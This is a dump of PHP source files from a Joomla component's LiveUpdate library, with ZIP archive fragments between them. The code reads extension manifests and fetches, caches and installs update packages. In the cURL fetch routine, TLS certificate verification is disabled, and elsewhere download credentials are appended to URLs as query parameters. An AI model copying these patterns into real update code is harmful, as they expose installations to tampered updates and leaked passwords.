$needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } } PK@y>\|q9components/com_csvi/liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ protected function populateAuthorization() { if(!$this->_requiresAuthorization) return; // Do we already have authorizaton information? if( (!empty($this->_username) && !empty($this->_password)) || !empty($this->_downloadID) ) { return; } if(substr($this->_extensionName,0,3) != 'com') return; // Not using JComponentHelper to avoid conflicts ;) $db = JFactory::getDbo(); $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q($this->_extensionName)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $this->_username = $params->get('username',''); $this->_password = $params->get('password',''); $this->_downloadID = $params->get('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } } PK@y>\2#,,3components/com_csvi/liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { continue; } // Check for extension (since 1.6) and install (supported through 2.5) if(($xml->getName() != 'extension' && $xml->getName() != 'install')) continue; unset($xml); return $filename; } return false; } } PK@y>\Dp70components/com_csvi/liveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.model'); if(!class_exists('JoomlaSucksModel')) { if(interface_exists('JModel')) { abstract class JoomlaSucksModel extends JModelLegacy {} } else { class JoomlaSucksModel extends JModel {} } } /** * The Live Update MVC model */ class LiveUpdateModel extends JoomlaSucksModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg = JFactory::getConfig(); $tmpdir = $jreg->get('tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.'/tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.'/tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.'/'.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.'/'.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer = JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); $this->setState('extmessage', $installer->get('extension_message')); } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) { $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/plugins/models/installer.php'; }; if(!JFile::exists($instModelFile)) return false; require_once $instModelFile; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($packageType) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } } PK@y>\SD**6components/com_csvi/liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } if(empty($updateInfo->version) && empty($updateInfo->date)) return 0; // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { try { $mine = new JDate($extInfo['date']); } catch(Exception $e) { $mine = new JDate('2000-01-01 00:00:00'); } } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // If we are requested to forcibly reload the information, clear old data first if($force) { $this->storage->set('lastcheck', 0); $this->storage->set('updatedata', ''); $this->storage->save(); $registry = $storage->getRegistry(); $registry->set('update.lastcheck', null); $registry->set('update.updatedata', null); $storage->setRegistry($registry); } // Fetch information from the cache $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '', 'infoURL' => '', 'releasenotes' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if( ($this->storage->get('stuck',0) != 0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($url); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '', 'infoURL' => '', 'releasenotes' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); // Get the supported platforms $supportedPlatform = false; $versionParts = explode('.',JVERSION); $currentPlatform = $versionParts[0].'.'.$versionParts[1]; if(array_key_exists('platforms', $iniData)) { $rawPlatforms = explode(',', $iniData['platforms']); foreach($rawPlatforms as $platform) { $platform = trim($platform); if(substr($platform,0,7) != 'joomla/') { echo 'continue'; continue; } $platform = substr($platform, 7); if($currentPlatform == $platform) { $supportedPlatform = true; } } } else { // Lies, damn lies $supportedPlatform = true; } if(!$supportedPlatform) { return $ret; } $ret['version'] = array_key_exists('version', $iniData) ? $iniData['version'] : ''; $ret['date'] = array_key_exists('date', $iniData) ? $iniData['date'] : ''; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); if(!array_key_exists('link', $iniData)) $iniData['link'] = ''; $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; if(array_key_exists('releasenotes', $iniData)) { $ret['releasenotes'] = $iniData['releasenotes']; } if(array_key_exists('infourl', $iniData)) { $ret['infoURL'] = $iniData['infourl']; } return $ret; } }PK@y>\ztQ Q <components/com_csvi/liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } // Not using JComponentHelper to avoid conflicts ;) $db = JFactory::getDbo(); $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $data = $params->get(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadString($data, 'INI'); } public function save() { $data = self::$registry->toString('INI'); $db = JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $params->set(self::$key, $data); // Joomla! 1.6 $data = $params->toString('JSON'); $sql = $db->getQuery(true) ->update($db->qn('#__extensions')) ->set($db->qn('params').' = '.$db->q($data)) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $db->query(); } } PK@y>\H!RR7components/com_csvi/liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PK@y>\)8components/com_csvi/liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Y=:components/com_csvi/liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } /** * Returns the internally used registry * * @return JRegistry */ public function &getRegistry() { return self::$registry; } /** * Replaces the internally used registry with the one supplied * * @param JRegistry $registry */ public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value 